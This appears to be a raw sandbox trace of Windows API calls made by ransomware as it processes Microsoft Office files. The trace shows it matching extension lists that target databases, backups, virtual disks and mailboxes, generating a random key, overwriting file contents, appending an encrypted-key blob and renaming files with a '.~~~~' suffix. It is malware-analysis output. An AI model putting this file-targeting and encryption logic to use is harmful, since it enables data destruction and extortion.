	[0144.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0144.899] lstrlenW (lpString=".DACPAC") returned 7
	[0144.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0144.899] lstrlenW (lpString=".VHD") returned 4
	[0144.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0144.900] lstrlenW (lpString=".DBV") returned 4
	[0144.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0144.900] lstrlenW (lpString=".dacpac") returned 7
	[0144.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0144.900] lstrlenW (lpString=".sdf") returned 4
	[0144.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0144.900] lstrlenW (lpString=".accdb") returned 6
	[0144.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0144.900] lstrlenW (lpString=".DBX") returned 4
	[0144.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0144.900] lstrlenW (lpString=".MDT") returned 4
	[0144.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0144.900] lstrlenW (lpString=".SQB") returned 4
	[0144.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0144.900] lstrlenW (lpString=".vhd") returned 4
	[0144.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0144.900] lstrlenW (lpString=".bac") returned 4
	[0144.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0144.900] lstrlenW (lpString=".mdf") returned 4
	[0144.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0144.900] lstrlenW (lpString=".BAK") returned 4
	[0144.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0144.900] lstrlenW (lpString=".BAC") returned 4
	[0144.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0144.900] lstrlenW (lpString=".dbs") returned 4
	[0144.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0144.901] lstrlenW (lpString=".vhdx") returned 5
	[0144.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0144.901] lstrlenW (lpString=".NDF") returned 4
	[0144.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0144.901] lstrlenW (lpString=".dat") returned 4
	[0144.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0144.901] lstrlenW (lpString=".DBS") returned 4
	[0144.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0144.901] lstrlenW (lpString=".CKP") returned 4
	[0144.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0144.901] lstrlenW (lpString=".edb") returned 4
	[0144.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0144.901] lstrlenW (lpString=".PST") returned 4
	[0144.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0144.901] lstrlenW (lpString=".dbf") returned 4
	[0144.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0144.901] lstrlenW (lpString=".SQL") returned 4
	[0144.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0144.901] lstrlenW (lpString=".pst") returned 4
	[0144.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0144.901] lstrlenW (lpString=".dbv") returned 4
	[0144.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0144.902] lstrlenW (lpString=".SDF") returned 4
	[0144.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0144.902] lstrlenW (lpString=".dtxs") returned 5
	[0144.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0144.902] lstrlenW (lpString=".db3") returned 4
	[0144.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0144.902] lstrlenW (lpString=".OST") returned 4
	[0144.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0144.902] lstrlenW (lpString=".dbx") returned 4
	[0144.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0144.902] lstrlenW (lpString=".DB3") returned 4
	[0144.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0144.902] lstrlenW (lpString=".DAT") returned 4
	[0144.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0144.902] lstrlenW (lpString=".VHDX") returned 5
	[0144.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0144.902] lstrlenW (lpString=".ndf") returned 4
	[0144.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0144.902] lstrlenW (lpString=".DB") returned 3
	[0144.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0144.902] lstrlenW (lpString=".sql") returned 4
	[0144.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0144.902] lstrlenW (lpString=".MYD") returned 4
	[0144.902] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0144.902] lstrlenW (lpString=".DBT") returned 4
	[0144.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0144.903] lstrlenW (lpString=".ACCDB") returned 6
	[0144.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0144.903] lstrlenW (lpString=".fdb") returned 4
	[0144.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0144.903] lstrlenW (lpString=".bak") returned 4
	[0144.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0144.903] lstrlenW (lpString=".myd") returned 4
	[0144.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0144.903] lstrlenW (lpString=".DTXS") returned 5
	[0144.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0144.903] lstrlenW (lpString=".ckp") returned 4
	[0144.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0144.903] lstrlenW (lpString=".dbt") returned 4
	[0144.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0144.903] lstrlenW (lpString=".db") returned 3
	[0144.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".db") returned 0x0
	[0144.903] lstrlenW (lpString=".TXT") returned 4
	[0144.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0144.903] lstrlenW (lpString=".MDF") returned 4
	[0144.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0144.903] lstrlenW (lpString=".bdb") returned 4
	[0144.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0144.903] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0144.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.904] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0144.905] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.905] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0144.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0144.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0144.906] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26489575628) returned 1
	[0144.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbfc71f50, dwHighDateTime=0x1d60e1e)) 
	[0144.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0144.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0144.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0144.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fb38
	[0144.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fb38 | out: hHeap=0x300000) returned 1
	[0144.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37ec10
	[0144.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.906] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0144.907] GetLastError () returned 0x0
	[0144.907] GetLastError () returned 0x0
	[0144.907] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0144.907] GetLastError () returned 0x0
	[0144.907] GetLastError () returned 0x0
	[0144.907] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0144.909] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.909] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0144.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0144.910] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.910] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.910] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.910] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.910] CloseHandle (hObject=0x138) returned 1
	[0144.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0144.910] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.~~~~")) returned 1
	[0144.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0144.913] GetLastError () returned 0x0
	[0144.913] RtlWakeConditionVariable () returned 0x365f70
	[0144.914] GetCurrentThreadId () returned 0x3a4
	[0144.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0144.914] lstrlenW (lpString=".cmd") returned 4
	[0144.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0144.914] lstrlenW (lpString=".dll") returned 4
	[0144.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0144.914] lstrlenW (lpString=".bat") returned 4
	[0144.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0144.914] lstrlenW (lpString=".cpl") returned 4
	[0144.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0144.914] lstrlenW (lpString=".sys") returned 4
	[0144.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0144.914] lstrlenW (lpString=".msc") returned 4
	[0144.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0144.914] lstrlenW (lpString=".com") returned 4
	[0144.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".com") returned 0x0
	[0144.914] lstrlenW (lpString=".lnk") returned 4
	[0144.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0144.914] lstrlenW (lpString=".msp") returned 4
	[0144.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0144.914] lstrlenW (lpString=".pif") returned 4
	[0144.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0144.914] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.914] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0144.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.917] lstrlenW (lpString=".sqb") returned 4
	[0144.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0144.917] lstrlenW (lpString=".ost") returned 4
	[0144.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0144.917] lstrlenW (lpString=".txt") returned 4
	[0144.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0144.917] lstrlenW (lpString=".mdt") returned 4
	[0144.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0144.917] lstrlenW (lpString=".BDB") returned 4
	[0144.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0144.917] lstrlenW (lpString=".eql") returned 4
	[0144.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0144.917] lstrlenW (lpString=".DBF") returned 4
	[0144.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0144.917] lstrlenW (lpString=".EQL") returned 4
	[0144.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0144.917] lstrlenW (lpString=".FDB") returned 4
	[0144.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0144.917] lstrlenW (lpString=".EDB") returned 4
	[0144.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0144.917] lstrlenW (lpString=".DACPAC") returned 7
	[0144.917] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0144.918] lstrlenW (lpString=".VHD") returned 4
	[0144.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0144.918] lstrlenW (lpString=".DBV") returned 4
	[0144.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0144.918] lstrlenW (lpString=".dacpac") returned 7
	[0144.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0144.918] lstrlenW (lpString=".sdf") returned 4
	[0144.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0144.918] lstrlenW (lpString=".accdb") returned 6
	[0144.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0144.918] lstrlenW (lpString=".DBX") returned 4
	[0144.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0144.918] lstrlenW (lpString=".MDT") returned 4
	[0144.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0144.918] lstrlenW (lpString=".SQB") returned 4
	[0144.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0144.918] lstrlenW (lpString=".vhd") returned 4
	[0144.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0144.918] lstrlenW (lpString=".bac") returned 4
	[0144.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0144.918] lstrlenW (lpString=".mdf") returned 4
	[0144.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0144.919] lstrlenW (lpString=".BAK") returned 4
	[0144.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0144.919] lstrlenW (lpString=".BAC") returned 4
	[0144.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0144.919] lstrlenW (lpString=".dbs") returned 4
	[0144.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0144.919] lstrlenW (lpString=".vhdx") returned 5
	[0144.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0144.919] lstrlenW (lpString=".NDF") returned 4
	[0144.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0144.919] lstrlenW (lpString=".dat") returned 4
	[0144.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0144.919] lstrlenW (lpString=".DBS") returned 4
	[0144.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0144.919] lstrlenW (lpString=".CKP") returned 4
	[0144.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0144.919] lstrlenW (lpString=".edb") returned 4
	[0144.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0144.919] lstrlenW (lpString=".PST") returned 4
	[0144.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0144.919] lstrlenW (lpString=".dbf") returned 4
